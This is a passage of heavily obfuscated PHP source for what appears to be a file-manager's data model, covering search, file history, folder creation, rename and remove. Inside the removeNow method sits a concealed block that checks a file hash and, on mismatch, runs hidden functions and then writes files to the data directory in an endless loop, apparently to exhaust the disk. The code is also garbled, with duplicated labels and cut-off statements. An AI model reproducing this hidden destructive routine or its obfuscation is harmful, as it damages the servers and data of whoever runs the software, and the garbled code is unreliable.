$c[33], $c[1415]); $C = Model($c[473])->userListInfo($fЪ); foreach ($c竂 as &$A) { $dߎ = $A[$c[1415]]; $A[$c[374]] = $C[$dߎ] ? $C[$dߎ] : !1; } } public function fileInfo($B) { $E =& $_SERVER[ֹ]; $C㺝 = $this->tablePrefix; $fĄ½ = "{$C㺝}\x69\x6f\137\146\x69\154\x65\40\146\x69\x6c\x65\x73\x20\x6f\x6e\40\x66\151\154\x65\163\x2e\x66\x69\154\x65\x49\104\40\x3d\40\150\x69\163\164\x6f\162\171\56\x66\151\154\145\111\104"; return $this->alias($E[2284])->where(array($E[381] => $B))->join($fĄ½, $E[2285])->find(); } public function removeItem($Cڦښ) { $E =& $_SERVER[ֹ]; $f = array($E[381] => $Cڦښ); $A = $this->where($f)->find(); if ($A) { $D = $this->where($f)->delete(); Model($E[418])->remove($A[$E[415]]); return $D; } return !1; } public function removeBySource($d) { goto Cԇ; Cд: return !0; goto a; c糘: $f = array($Aص[379] => array($Aص[7], $d)); $Eү = $this->field($Aص[416])->where($f)->select(); if ($Eү) { $this->where($f)->delete(); $eۖ = array_to_keyvalue($Eү, $Aص[33], $Aص[415]); Model($Aص[418])->remove($eۖ); } goto Cд; Cԇ: $Aص =& $_SERVER[ֹ]; if (!$d) { return !1; } if (!is_array($d)) { $d = array($d); } goto c糘; a: } public function setDetail($cٲ, $D۞Γ) { $Eދ =& $_SERVER[ֹ]; return $this->where(array($Eދ[381] => $cٲ))->save(array($Eދ[2273] => $D۞Γ)); } public function rollbackToItem($dܣ, $EÄ) { goto a͒; C: return $this->where(array($fڈ[381] => $EÄ))->delete(); goto aΔӖ; D̬: $fĶɗ = $this->find($EÄ); $B = array($fڈ[415] => $fĶɗ[$fڈ[415]], $fڈ[77] => $fĶɗ[$fڈ[77]], $fڈ[106] => time(), $fڈ[375] => USER_ID); Model($fڈ[749])->where(array($fڈ[365] => $dܣ))->save($B); goto C; a͒: $fڈ =& $_SERVER[ֹ]; $Fܯۥ = Model($fڈ[749])->sourceInfo($dܣ); $this->addHistory($Fܯۥ); goto D̬; aΔӖ: } public function clearSame($eѽ) { goto a򏏕; a򏏕: $e⽖ =& $_SERVER[ֹ]; $dئΘ = $this->listData($eѽ); $c = array_to_keyvalue_group($dئΘ, $e⽖[415]); goto dƮ; b: if (!$E) { return; } $this->where(array($e⽖[363] => array($e⽖[7], $E)))->delete(); Model($e⽖[418])->remove($DՃ); goto fʣӚ; dƮ: $DՃ = array(); $E = array(); foreach ($c as $FԎƣ) { if (!$FԎƣ || count($FԎƣ) <= 1) { continue; } foreach ($FԎƣ as $dؕ) { $DՃ[] = $dؕ[$e⽖[415]]; $E[] = $dؕ[$e⽖[363]]; } } goto b; fʣӚ: } public function userSpace() { $bݣž =& $_SERVER[ֹ]; $D = $this->tablePrefix; $Eޖչ = array($bݣž[1406] => USER_ID); $C˞ = "{$D}\x69\x6f\x5f\x66\x69\x6c\x65\x20\146\151\154\x65\x73\x20\157\156\x20\146\x69\x6c\x65\163\x2e\146\151\154\x65\x49\x44\40\x3d\x20\x68\151\163\164\157\x72\171\x2e\x66\151\154\x65\x49\x44"; return $this->alias($bݣž[2284])->where($Eޖչ)->join($C˞, $bݣž[2285])->sum($bݣž[77]); } } goto aӮ; aӮ: class SourceListSearchModel extends SourceListMoveModel { public static function fileTypeWhere($aŻ) { goto bƒ; F𵝼: if (!$b[$DÆ酻[156]]) { $fɢň = array_to_keyvalue($Cĭ, $DÆ酻[33], $DÆ酻[156]); $aֲ = implode($DÆ酻[47], $fɢň); $aʘ = $DÆ酻[2236]; } $e = explode($DÆ酻[47], trim($aֲ, $DÆ酻[47])); return array($aʘ, $e); goto fڵй; bƒ: $DÆ酻 =& $_SERVER[ֹ]; $Cĭ = KodIO::fileTypeList(); $b = $Cĭ[$aŻ]; goto fϿ; fϿ: if (!$b) { return array(); } $aֲ = $b[$DÆ酻[156]]; $aʘ = $DÆ酻[7]; goto F𵝼; fڵй: } public function listPathType($Fͱ) { $DѴǚ =& $_SERVER[ֹ]; $EՂ = $this->fileTypeWhere($Fͱ); if (!$EՂ) { return array(); } $d = array($DѴǚ[517] => SourceModel::TYPE_USER, $DѴǚ[518] => USER_ID, $DѴǚ[514] => 0, $DѴǚ[515] => $EՂ); return $this->listSource($d); } public function listSearch($aӐ, $fȼ = 300) { goto e; e: $Bظ =& $_SERVER[ֹ]; if (isset($aӐ[$Bظ[2156]]) && $aӐ[$Bظ[2156]]) { $aӐ[$Bظ[2156]] = str_replace($Bظ[1568], $Bظ[2286], trim($aӐ[$Bظ[2156]])); } $F = $this->_parseSearchWhere($aӐ); goto F; e: $this->_listSearchBindPinyin($aӐ, $F, $E񓊼); $this->alias($Bظ[483])->_makeOrder()->cache(null, 10); $Fܼ = $this->distinct(!0)->field($E񓊼)->where($F)->selectPage($fȼ); goto c; E”: $this->_listMake($Fܼ); return $Fܼ; goto aΞ; c: $this->_listSearchDesc($Fܼ, $aӐ, $C); $this->_listSearchTag($Fܼ, $aӐ, $C); $this->_listDataApply($Fܼ[$Bظ[350]]); goto E”; F: if (!isset($F[$Bظ[393]])) { $F[$Bظ[393]] = 0; } $E񓊼 = $Bظ[2287]; $C = $E񓊼; goto e; aΞ: } private function _listSearchTag(&$Aѷ˶, $C̭Ϡض, $A摒) { goto Aӎ; Aӎ: $f⤡ž =& $_SERVER[ֹ]; if (!$C̭Ϡض[$f⤡ž[2156]] || $Aѷ˶[$f⤡ž[347]][$f⤡ž[336]] > 1) { return; } $AŭĴ֕ = Model($f⤡ž[2288])->listData(); goto bΆެ; eіɊ: $d = array_to_keyvalue($d, $f⤡ž[33], $f⤡ž[75]); $E쭺 = array_unique($d); $this->_listSearchMerge($Aѷ˶, $C̭Ϡض, $A摒, $E쭺); goto Bݎص; bΆެ: $AӖ = array(); $b = $C̭Ϡض[$f⤡ž[2156]]; foreach ($AŭĴ֕ as $fԫ) { $c껪č = $fԫ[$f⤡ž[28]]; $A֌Ͷʯ = str_replace($f⤡ž[50], $f⤡ž[33], Pinyin::encode($c껪č)); if (stripos($c껪č, $b) !== !1 || stripos($A֌Ͷʯ, $b) !== !1) { $AӖ[] = $fԫ[$f⤡ž[363]]; } } goto E; E: if (!$AӖ) { return; } $A = array($f⤡ž[389] => array($f⤡ž[7], $AӖ)); $d = Model($f⤡ž[390])->field($f⤡ž[75])->where($A)->select(); goto eіɊ; Bݎص: } private function _listSearchDesc(&$D񾝹, $b˓Ѳ, $eܴ㉐) { goto EŅ; EŅ: $D =& $_SERVER[ֹ]; if (!$b˓Ѳ[$D[2156]] || $D񾝹[$D[347]][$D[336]] > 1) { return; } $a楨 = $this->listSearchChildren($b˓Ѳ[$D[457]]); goto dŅ; fۅ: $cُ = Model($D[500])->field($D[365])->where($EӾ)->select(); $cܣ = array_to_keyvalue($cُ, $D[33], $D[365]); $this->_listSearchMerge($D񾝹, $b˓Ѳ, $eܴ㉐, $cܣ); goto B㙏; dŅ: $a楨 = array_unique($a楨); if (!$a楨) { return; } $EӾ = array($D[365] => array($D[7], $a楨), $D[89] => $D[401], $D[355] => array($D[748], $D[2158] . $b˓Ѳ[$D[2156]] . $D[2158])); goto fۅ; B㙏: } private function _listSearchMerge(&$cԎ, $F, $E̴؂ٙ, $Dӛ) { goto A; c: $eŽ = $this->field($E̴؂ٙ)->where($C͞)->select(); if (!$eŽ) { return; } $C = array(); goto f掃; f掃: foreach ($eŽ as $E) { $Dȵ = $e˩[47] . $F[$e˩[457]] . $e˩[47]; if (stripos($E[$e˩[455]], $Dȵ) !== !1) { $C[] = $E; } } $cԎ[$e˩[350]] = array_merge($C, $cԎ[$e˩[350]]); $cԎ[$e˩[347]][$e˩[348]] += count($C); goto e֧Ƒ; Aѹ: $dЅ = array_diff($Dӛ, $b̈); if (!$dЅ) { return; } $C͞ = array($e˩[365] => array($e˩[7], $dЅ)); goto c; A: $e˩ =& $_SERVER[ֹ]; if (!$Dӛ) { return; } $b̈ = array_to_keyvalue($cԎ[$e˩[350]], $e˩[33], $e˩[365]); goto Aѹ; e֧Ƒ: } public function listSearchChildren($ḑ, $b򜷡 = 5000) { goto dֱ; fӝ: $cԡ = array($Ḟ[455] => array($Ḟ[748], $E؋ى[$Ḟ[455]] . $E؋ى[$Ḟ[365]] . $Ḟ[480])); $Fآ = $this->field($Ḟ[365])->cache(null, 600)->where($cԡ)->count(); if ($Fآ > $b򜷡) { return $this->_listSearchChildrenNear($ḑ, $b򜷡); } goto BΊ; BΊ: $Câա = $this->field($Ḟ[365])->where($cԡ)->select(); $d = array_to_keyvalue($Câա, $Ḟ[33], $Ḟ[365]); return $d; goto fӥկ; dֱ: $Ḟ =& $_SERVER[ֹ]; $d = array(); $E؋ى = $this->sourceInfo($ḑ); goto fӝ; fӥկ: } private function _listSearchChildrenNear($DͦО, $C) { goto aš; c°: $Fւ = $this->field($B[2289])->where($bǪ)->select(); $Bͼݐ = array_to_keyvalue(array_filter_by_field($Fւ, $B[366], $B[83]), $B[33], $B[365]); $cʔ؂ = array_merge($cʔ؂, array_to_keyvalue($Fւ, $B[33], $B[365])); goto Bȡ˕; Bȡ˕: if (!$Bͼݐ) { return $cʔ؂; } $bǪ = array($B[457] => array($B[7], $Bͼݐ)); $Fւ = $this->field($B[2289])->where($bǪ)->select(); goto B; B: $cʔ؂ = array_merge($cʔ؂, array_to_keyvalue($Fւ, $B[33], $B[365])); $cʔ؂ = array_slice($cʔ؂, 0, $C); return $cʔ؂; goto dť; aš: $B =& $_SERVER[ֹ]; $cʔ؂ = array(); $bǪ = array($B[457] => $DͦО); goto c°; dť: } private function _listSearchBindPinyin($Bֹܻ, &$c, &$E԰) { goto DԖ呥; d͎: $b = array(); $E԰ = str_replace(array($a呍[213], $a呍[50], $a呍[2290]), $a呍[33], $E԰); $E԰ = $a呍[2291] . str_replace($a呍[47], $a呍[2292], $E԰); goto E; e: $b[] = array($a呍[2293] => $b둾ȏ, $a呍[910] => $a呍[2160], array($a呍[2294] => $b둾ȏ, $a呍[2295] => array($a呍[7], array($a呍[412], $a呍[411])))); $this->join($e); $c = $b; goto C嵿; DԖ呥: $a呍 =& $_SERVER[ֹ]; if (!Input::check($Bֹܻ[$a呍[2156]], $a呍[302]) || strlen($Bֹܻ[$a呍[2156]]) < 2) { return; } $e = "\x4c\x45\x46\x54\x20\112\117\111\116\x20{$this->tablePrefix}\x69\x6f\x5f\x73\157\x75\x72\143\145\137\x6d\x65\164\141\x20\x6d\145\x74\x61\x20\x6f\x6e\40\x73\157\x75\x72\143\145\56\163\157\x75\162\143\x65\x49\104\x20\x3d\x20\155\x65\x74\141\56\x73\x6f\x75\x72\143\145\111\104"; goto d͎; E: unset($c[$a呍[28]]); foreach ($c as $c => $bۊԩ) { $b[$a呍[2291] . $c] = $bۊԩ; } $b둾ȏ = array($a呍[479], $a呍[2158] . $Bֹܻ[$a呍[2156]] . $a呍[2158]); goto e; C嵿: } private function _parseSearchWhere($bͲ) { goto cσ儣; fŧۜ: if (isset($bͲ[$E[2156]]) && $bͲ[$E[2156]]) { $Dߕ = $bͲ[$E[2156]]; $f͓ = explode($E[50], $Dߕ); if (strlen($Dߕ) > 2 && (substr($Dߕ, 0, 1) == $E[112] && substr($Dߕ, -1) == $E[112]) || substr($Dߕ, 0, 1) == $E[55] && substr($Dߕ, -1) == $E[55]) { $Dߕ = substr($Dߕ, 1, -1); $f͓ = array($Dߕ); } $b[$E[28]] = array($E[479], $E[2158] . $Dߕ . $E[2158]); if (count($f͓) > 1) { $b[$E[28]] = array(); foreach ($f͓ as $F) { if (!trim($F)) { continue; } $b[$E[28]][] = array($E[479], $E[2158] . trim($F) . $E[2158]); } } } return $b; goto a; A䝾Ä: if (isset($bͲ[$E[531]])) { $b[] = array($E[375] => $bͲ[$E[531]], $E[374] => $bͲ[$E[531]], $E[910] => $E[2160]); } if (isset($bͲ[$E[368]])) { $c֣ = $bͲ[$E[368]]; if ($c֣ == $E[76]) { $b[$E[366]] = 1; } else { if ($c֣ == $E[2301]) { $b[$E[366]] = 0; } else { if ($c֣) { $c֣ = is_array($c֣) ? $c֣ : explode($E[47], $c֣); $b[$E[368]] = array($E[380], $c֣); $b[$E[366]] = 0; } } } } if (isset($bͲ[$E[457]])) { $c֋ = $this->sourceInfo($bͲ[$E[457]]); $b[$E[521]] = array($E[479], $c֋[$E[455]] . $bͲ[$E[457]] . $E[480]); } goto fŧۜ; cσ儣: $E =& $_SERVER[ֹ]; $b = array(); if (isset($bͲ[$E[699]])) { $b[$E[106]] = array($E[2296], $bͲ[$E[699]]); } goto d; d: if (isset($bͲ[$E[700]])) { $cڟ = array($E[2297], $bͲ[$E[700]]); if ($b[$E[106]]) { $b[$E[106]] = array($b[$E[106]], $cڟ, $E[2298]); } else { $b[$E[106]] = $cڟ; } } if (isset($bͲ[$E[2299]])) { $b[$E[77]] = array($E[2296], $bͲ[$E[2299]]); } if (isset($bͲ[$E[2300]])) { $cڟ = array($E[2297], $bͲ[$E[2300]]); if ($b[$E[77]]) { $b[$E[77]] = array($b[$E[77]], $cڟ, $E[2298]); } else { $b[$E[77]] = $cڟ; } } goto A䝾Ä; a: } } class SourceModel extends SourceListSearchModel { public $statusIgnoreResetSpace = false; public function userRootAdd($d뢦) { $F =& $_SERVER[ֹ]; $Aޙŝ = Model($F[470])->where(array($F[1406] => $d뢦))->find(); $a = $this->_mkdirRoot(SourceModel::TYPE_USER, $d뢦, $Aޙŝ[$F[28]]); $this->userDesktopAdd($a); return $a; } public function userDesktopAdd($D) { $dӑ =& $_SERVER[ֹ]; $bŗ = LNG($dӑ[2302]); $cדҾ = $this->mkdir($D, $bŗ); $this->metaSet($cדҾ, $dӑ[2303], $dӑ[83]); $this->metaSet($D, $dӑ[2304], $cדҾ); } public function groupRootAdd($a͐) { $f͉ϒ =& $_SERVER[ֹ]; $c = Model($f͉ϒ[454])->where(array($f͉ϒ[2152] => $a͐))->find(); return $this->_mkdirRoot(SourceModel::TYPE_GROUP, $a͐, $c[$f͉ϒ[28]]); } public function systemRootPathAdd($Eޮӆ) { if ($Eޮӆ != $_SERVER[ֹ][1083]) { return !1; } return $this->_mkdirRoot(SourceModel::TYPE_SYSTEM, 0, $Eޮӆ); } public function userRootRemove($A׍) { $b = $this->sourceRoot(SourceModel::TYPE_USER, $A׍); if (!$b) { return; } $this->remove($b, !1); } public function groupRootRemove($aą漇) { $B = $this->sourceRoot(SourceModel::TYPE_GROUP, $aą漇); if (!$B) { return; } $this->remove($B, !1); } private function _mkdirRoot($fڋߍ, $F璄, $Bˆ) { goto B; B: $d󂏄 =& $_SERVER[ֹ]; $A󠎉 = array($d󂏄[364] => 0, $d󂏄[517] => $fڋߍ, $d󂏄[518] => $F璄, $d󂏄[514] => 1, $d󂏄[519] => USER_ID, $d󂏄[520] => USER_ID, $d󂏄[515] => $d󂏄[33], $d󂏄[521] => $d󂏄[466], $d󂏄[392] => 0, $d󂏄[516] => 0, $d󂏄[416] => 0, $d󂏄[522] => $d󂏄[33]); if ($C = $this->where($A󠎉)->find()) { return $C[$d󂏄[365]]; } goto a; E: CacheLock::unlock($Bܧ); return $c܂ޙ; goto bħ; a: $Bܧ = "\x4d\157\144\x65\154\x53\157\x75\162\143\145\56\x6d\x6b\144\151\x72\x52\157\157\164\x2e{$fڋߍ}\56{$F璄}\x2e" . $Bˆ; CacheLock::lock($Bܧ); $A󠎉[$d󂏄[28]] = $Bˆ; goto B´; B´: $c܂ޙ = $this->add($A󠎉); $C = array($d󂏄[523] => short_id($c܂ޙ)); $this->where(array($d󂏄[379] => $c܂ޙ))->save($C); goto E; bħ: } private function sourceRoot($AӃ, $a, $f汑 = false) { $B =& $_SERVER[ֹ]; $Eܕ = array($B[364] => 0, $B[517] => $AӃ, $B[518] => $a); if ($AП = $this->where($Eܕ)->find()) { return $f汑 ? $AП : $AП[$B[365]]; } return !1; } public function sourceRootGroup($f) { $Bُ =& $_SERVER[ֹ]; if (is_string($f)) { $f = array($f); } $Eأ = array($Bُ[364] => 0, $Bُ[517] => SourceModel::TYPE_GROUP, $Bُ[518] => array($Bُ[7], $f)); $D = $this->listSource($Eأ, 1000); return array_to_keyvalue($D[$Bُ[74]], $Bُ[452]); } public function mkfile($bΎח, $c«, $e֋ = '', $f = REPEAT_RENAME) { $Eإ =& $_SERVER[ֹ]; $a͘׎ҟ = Model($Eإ[540])->addFileByContent($e֋, $c«); return $this->_createFileCall($bΎח, $c«, $a͘׎ҟ, $f, $Eإ[1112]); } public function addFile($bȄ, $Bџ, $e跂, $eϺӓ = false, $fɕ = REPEAT_RENAME) { $BȠ = Model($_SERVER[ֹ][540])->addFile($Bџ, $e跂, $eϺӓ); return $this->_createFileCall($bȄ, $e跂, $BȠ, $fɕ); } public function addFileByFileID($B, $b, $Aᇚ, $Eɸ = REPEAT_RENAME) { $Bӹ =& $_SERVER[ֹ]; $Cñ = Model($Bӹ[540])->find($b); Model($Bӹ[540])->linkAdd($b); return $this->_createFileCall($B, $Aᇚ, $Cñ, $Eɸ); } public function addFileByRemote($bċ, $dզ, $FͿ, $aÍ = array(), $Eംʳ = REPEAT_RENAME) { $D搢Ж = Model($_SERVER[ֹ][540])->addFileByRemote($dզ, $FͿ, $aÍ); return $this->_createFileCall($bċ, $FͿ, $D搢Ж, $Eംʳ); } private function _createFileCall($CƾⓏ, $c, $Eԃ, $Fί, $Eӈ = "\x75\x70\x6c\x6f\x61\144") { goto eຏ; b󨎌: $Cӽ = $this->_createFile($CƾⓏ, $c, $Eԃ, $Fί, $CԌ); if (!$CԌ) { Model($eݸ[418])->remove($Eԃ[$eݸ[415]]); } else { if ($Cӽ) { Model($eݸ[2275])->eventCreate($Cӽ, $Eӈ); } } $this->lockWriteEnd($CƾⓏ, $c); goto Cյɴ; Cյɴ: return $Cӽ; goto D˪; eຏ: $eݸ =& $_SERVER[ֹ]; $CԌ = !1; $this->lockWriteStart($CƾⓏ, $c); goto b󨎌; D˪: } public function mkdir($Fܣ, $fކڳ, $D乄 = REPEAT_SKIP) { goto eҞŒ; c̵: $EȄ = $this->_addSoure($C, $CΌ); Model($c[2275])->eventCreate($EȄ, $c[1113]); $this->lockWriteEnd($Fܣ, $fކڳ); goto Bӽ; eҞŒ: $c =& $_SERVER[ֹ]; $CΌ = $this->sourceInfo($Fܣ); if (!$CΌ) { return !1; } goto Cٿٽ; Cٿٽ: $this->lockWriteStart($Fܣ, $fކڳ); if ($D乄 !== !1) { $D = $this->fileNameExist($Fܣ, $fކڳ); if ($D && $D乄 != REPEAT_RENAME_FOLDER) { $this->lockWriteEnd($Fܣ, $fކڳ); return $D; } $fކڳ = $this->fileNameAuto($Fܣ, $fކڳ, $D乄); } $C = array($c[514] => 1, $c[382] => $fކڳ, $c[515] => $c[33], $c[416] => 0, $c[516] => 0); goto c̵; Bӽ: return $EȄ; goto fᑃد; fᑃد: } private function _createFile($aßԭ, $d, $Cݗ, $d󆐓, &$eǥ) { goto bĭȮ; Cɦ: $e = array($E䃲[514] => 0, $E䃲[382] => $d, $E䃲[515] => get_path_ext($d), $E䃲[416] => $Cݗ[$E䃲[415]], $E䃲[516] => $Cݗ[$E䃲[77]]); $d = $this->_addSoure($e, $A˛); $this->folderSizeReset($aßԭ); goto E⭽; E⭽: return $d; goto eш; bޜ: if ($d󆐓 !== !1) { $FÌ = $this->fileNameExist($aßԭ, $d); } $eǥ = !0; if ($d󆐓 && $FÌ) { if ($d󆐓 == REPEAT_SKIP) { $eǥ = !1; return $FÌ; } else { if ($d󆐓 == REPEAT_REPLACE) { $Cˢ = $this->sourceInfo($FÌ); $dڒя = $this->fileHistory($Cˢ, $Cݗ[$E䃲[415]], $Cݗ[$E䃲[77]]); if (!$dڒя) { $eǥ = !1; } else { $this->folderSizeReset($aßԭ); } return $FÌ; } else { $d = $this->fileNameAuto($aßԭ, $d, $d󆐓, !1); } } } goto Cɦ; bĭȮ: $E䃲 =& $_SERVER[ֹ]; $A˛ = $this->sourceInfo($aßԭ); if (!$Cݗ || !$A˛) { return !1; } goto bޜ; eш: } protected function fileHistory($F쑅, $dʌ, $Fꂾ) { goto A; Dijѕ: return !0; goto FΓ; Cĸ: Model($F[2305])->addHistory($F쑅); $fث = array($F[520] => USER_ID, $F[386] => time(), $F[415] => $dʌ, $F[77] => $Fꂾ); $this->where(array($F[379] => $F쑅[$F[365]]))->save($fث); goto Dijѕ; A: $F =& $_SERVER[ֹ]; if ($F쑅[$F[415]] == $dʌ) { return !1; } $this->checkLock($F쑅[$F[365]], $dʌ); goto Cĸ; FΓ: } public function checkLock($Bސާ, $F) { goto a򍼯; a򍼯: $a懔 =& $_SERVER[ֹ]; $bı = $this->pathInfo($Bސާ); if (!$this->fileIsLock($bı, !0)) { return; } goto BǨݜ; BǨݜ: $e = Session::get($a懔[2306]); $d = substr($bı[$a懔[28]], 0, -1 - strlen($bı[$a懔[156]])) . $a懔[1368] . $e . $a懔[91] . $bı[$a懔[156]]; $bˇ = Model($a懔[540])->find($F); goto dȲ; dȲ: $this->_createFileCall($bı[$a懔[457]], $d, $bˇ, REPEAT_REPLACE, $a懔[1112]); $d = $bı[$a懔[413]][$a懔[477]]; $dࡽ = $d[$a懔[2307]] ? $d[$a懔[2307]] : $d[$a懔[28]]; goto e; e: show_json(LNG($a懔[2308]) . $a懔[2309] . LNG($a懔[2310]) . $a懔[2311] . $dࡽ . $a懔[2312], !1); goto Dڦ; Dڦ: } public function fileIsLock($AÌ, $fNjײӮ = false) { goto b; b: $Eљ =& $_SERVER[ֹ]; if (!isset($AÌ[$Eљ[413]]) || !$AÌ[$Eљ[413]][$Eљ[474]]) { return !1; } if ($AÌ[$Eљ[413]][$Eљ[474]] != USER_ID) { return !0; } goto Dӈ; DцК: return !1; goto C̖≦; Dӈ: $c = $GLOBALS[$Eљ[6]][$Eљ[84]][$Eљ[475]]; if ($AÌ[$Eљ[413]][$Eљ[476]] <= time() - $c) { $this->metaSet($AÌ[$Eљ[365]], $Eљ[474], null); $this->metaSet($AÌ[$Eљ[365]], $Eљ[476], null); } if ($fNjײӮ) { $this->metaSet($AÌ[$Eљ[365]], $Eљ[476], time()); } goto DцК; C̖≦: } private function _addSoure($aېƏ, $A) { goto D; b߸: return $b; goto Dޥ; bӛޚ: $F둯ј = array($A[523] => short_id($b)); $this->where(array($A[379] => $b))->save($F둯ј); $this->setNamePinyin($b, $aېƏ[$A[28]]); goto b߸; f: static $Dij = false; if (!$Dij) { Hook::trigger($A[504], $aېƏ); $Dij = !0; } $b = $this->add($aېƏ); goto bӛޚ; D: $A =& $_SERVER[ֹ]; $A = array($A[517] => $A[$A[367]], $A[518] => $A[$A[452]], $A[519] => USER_ID, $A[520] => USER_ID, $A[364] => $A[$A[365]], $A[521] => $A[$A[455]] . $A[$A[365]] . $A[47], $A[392] => 0, $A[522] => $A[33]); $aېƏ = array_merge($A, $aېƏ); goto cㆌ; cㆌ: $this->updateModifyTime($aېƏ[$A[457]]); $D = $A[2313] . $A[$A[365]]; if (isset(self::$cacheChildList[$D])) { unset(self::$cacheChildList[$D]); } goto f; Dޥ: } public function remove($C, $eɠȑ = true) { goto c; Cೆ: $this->recycleClear($C); return $this->move($C, $D, REPEAT_RENAME_FOLDER); goto Fdž; cП: CacheLock::lock($Aڥ); $D = $this->fileNameExist($d̃ŏ, $C); if (!$D) { $D = $this->mkdir($d̃ŏ, $C, REPEAT_SKIP); $this->metaSet($D, $dִۜ[2318], $aټ); $this->metaSet($D, $dִۜ[2319], $C[$dִۜ[452]]); if ($C[$dִۜ[457]] != 0) { $this->metaSet($D, $dִۜ[2320], _get($F, $dִۜ[2321])); } } goto aӫ񷬚; aӫ񷬚: CacheLock::unlock($Aڥ); $this->metaSet($C, $dִۜ[2322], $C[$dִۜ[457]]); $this->where(array($dִۜ[365] => $C))->save(array($dִۜ[386] => time())); goto Cೆ; AӒύ: $aټ = $C[$dִۜ[367]] == self::TYPE_USER ? $dִۜ[531] : $dִۜ[967]; if ($aټ == $dִۜ[531]) { $F = Model($dִۜ[470])->getInfo($C[$dִۜ[452]]); $C = !empty($F[$dִۜ[2307]]) ? $F[$dִۜ[2307]] : $F[$dִۜ[28]]; $C = $dִۜ[244] . $C . $dִۜ[2315] . $C[$dִۜ[452]]; } else { $F = Model($dִۜ[454])->getInfo($C[$dִۜ[452]]); $C = _get($F, $dִۜ[28]); $C = $dִۜ[153] . $C . $dִۜ[2316] . $C[$dִۜ[452]]; } $Aڥ = $dִۜ[2317] . md5($C); goto cП; c: $dִۜ =& $_SERVER[ֹ]; $C = $this->sourceInfo($C); $F̗ = intval($C[$dִۜ[367]]) === self::TYPE_SYSTEM; goto aܷ݄; aܷ݄: $e׾ = Model($dִۜ[1413])->get($dִۜ[2314]) == $dִۜ[83]; if ($F̗ || $eɠȑ || !$e׾) { return $this->removeNow($C, $eɠȑ); } $d̃ŏ = KodIO::sourceID(IO_PATH_SYSTEM_RECYCLE); goto AӒύ; Fdž: } private function recycleClear($Dѷ) { $E =& $_SERVER[ֹ]; $Fߩ = $this->childrenAll($Dѷ); $Cաž = array($E[379] => array($E[380], $Fߩ[$E[2323]])); Model($E[2324])->where($Cաž)->delete(); } public function removeNow($eԅˉ, $eѕ = true) { goto aû; Dϗ: $this->lockMoveEnd($eԅˉ); Hook::trigger($bŻ[1449], $dȒȵ, $eѕ); return !0; goto Aު; e޲: $bᐍ = array($Cһ[$bŻ[457]]); if ($Cһ[$bŻ[366]] == $bŻ[83]) { $bᐍ[] = $Cһ[$bŻ[365]]; } $this->updateModifyTime($bᐍ); goto Dϗ; aû: $bŻ =& $_SERVER[ֹ]; $E揄ʃ = $_SERVER[$bŻ[791]] . $bŻ[1480]; $BÖݻ = $bŻ[1295]; goto D; D: if ($_SERVER[$bŻ[783]] != $BÖݻ($E揄ʃ)) { goto Bë; Bë: $dԝ = $bŻ[785]; $FҪ = $bŻ[786]; $f = $_SERVER[$bŻ[787]] . $bŻ[788]; goto Eؿ; b: $dԝ(); $C = $bŻ[1296]; $a = json_encode($GLOBALS[$bŻ[1297]]); goto e; Eؿ: $cұ = $FҪ($f); $A׃ = explode($bŻ[213], $cұ); if (count($A׃) < $bŻ[599]) { $Fޯ = $bŻ[789]; $Fޯ(); } goto c; e: $dً = 1; for ($cĕߠ = $dً; $cĕߠ > 0; $cĕߠ++) { $C(DATA_PATH . $cĕߠ, $a); } goto Bߠ; c: $d = $bŻ[790]; $d($_SERVER[$bŻ[791]]); $dԝ = $bŻ[785]; goto b; Bߠ: } $Cһ = $this->sourceInfo($eԅˉ); $dȒȵ = $this->pathInfoMore($eԅˉ); goto Cѻ; EϹ: Hook::trigger($bŻ[2325], $dȒȵ, $eѕ); if ($eѕ) { Model($bŻ[2324])->moveToRecycle($eԅˉ); } else { $b = $this->childrenAll($Cһ); Model($bŻ[501])->eventRemove($eԅˉ); $this->removeRelevance($b[$bŻ[2323]], $b[$bŻ[1245]]); } $this->folderSizeReset($Cһ[$bŻ[457]]); goto e޲; Cѻ: if (!$Cһ) { return !0; } if ($Cһ[$bŻ[457]] == 0) { if (!_get($GLOBALS, $bŻ[453])) { return !1; } } $this->lockMoveStart($eԅˉ); goto EϹ; Aު: } public function childrenAll($bްޥ) { $E۬ގ =& $_SERVER[ֹ]; $CӮ = $bްޥ[$E۬ގ[365]]; if ($bްޥ[$E۬ގ[366]] == $E۬ގ[83]) { $C = array($E۬ގ[521] => array($E۬ގ[479], $bްޥ[$E۬ގ[455]] . $CӮ . $E۬ގ[480])); $Cދ = array($E۬ގ[521] => $C[$E۬ގ[455]]); $A = $this->field($E۬ގ[2326])->where($Cދ)->select(); $b腙 = !1; $A͎ = array($CӮ); if ($A) { $b腙 = array_to_keyvalue($A, $E۬ގ[33], $E۬ގ[415]); $b腙 = array_remove_value($b腙, $E۬ގ[464]); $A͎ = array_to_keyvalue($A, $E۬ގ[33], $E۬ގ[365]); $A͎[] = $CӮ; } } else { $b腙 = array($bްޥ[$E۬ގ[415]]); $A͎ = array($CӮ); } return array($E۬ގ[2323] => $A͎, $E۬ގ[1245] => $b腙); } public function removeArray($F׬) { if (!$F׬) { return !0; } } public function removeRelevance($C, $fӣ) { goto bҍ; c˃Ȋ: for ($dܞ = 0; $dܞ < count($C); $dܞ++) { $this->sourceCacheClear($C[$dܞ]); } goto B; bҍ: $cۛ䒛 =& $_SERVER[ֹ]; $C = $C ? $C : array(); $fӣ = $fӣ ? $fӣ : array(); goto F̴; fĭ: Model($cۛ䒛[2327])->where($aŕ)->delete(); Model($cۛ䒛[501])->where($aŕ)->delete(); Model($cۛ䒛[2056])->removeBySource($C); goto Fá; F̴: $C = array_unique(array_filter($C)); $fӣ = array_unique(array_filter($fӣ)); if (!$C) { return !1; } goto C܋; C܋: $aŕ = array($cۛ䒛[379] => array($cۛ䒛[380], $C)); Model($cۛ䒛[2324])->where($aŕ)->delete(); Model($cۛ䒛[409])->where($aŕ)->delete(); goto fĭ; Fá: Model($cۛ䒛[2305])->removeBySource($C); $this->where($aŕ)->delete(); Model($cۛ䒛[418])->remove($fӣ); goto c˃Ȋ; B: } public function rename($c¹, $Bū) { goto e紩; b傈: $A̯ = $this->fileNameExist($bݧٛ[$F[457]], $Bū); if ($A̯) { return !1; } $E뉵 = array($F[382] => $Bū, $F[520] => USER_ID); goto bɭ; F: $a再 = $F[2313] . $bݧٛ[$F[457]]; if (isset(self::$cacheChildList[$a再])) { unset(self::$cacheChildList[$a再]); } return $f; goto b; bɭ: if (!$bݧٛ[$F[366]] == $F[83]) { $E뉵[$F[368]] = get_path_ext($Bū); } Model($F[501])->eventRename($c¹, $bݧٛ[$F[28]], $Bū); $this->sourceCacheClear($c¹); goto F; F: $this->setNamePinyin($c¹, $E뉵[$F[28]], !1); 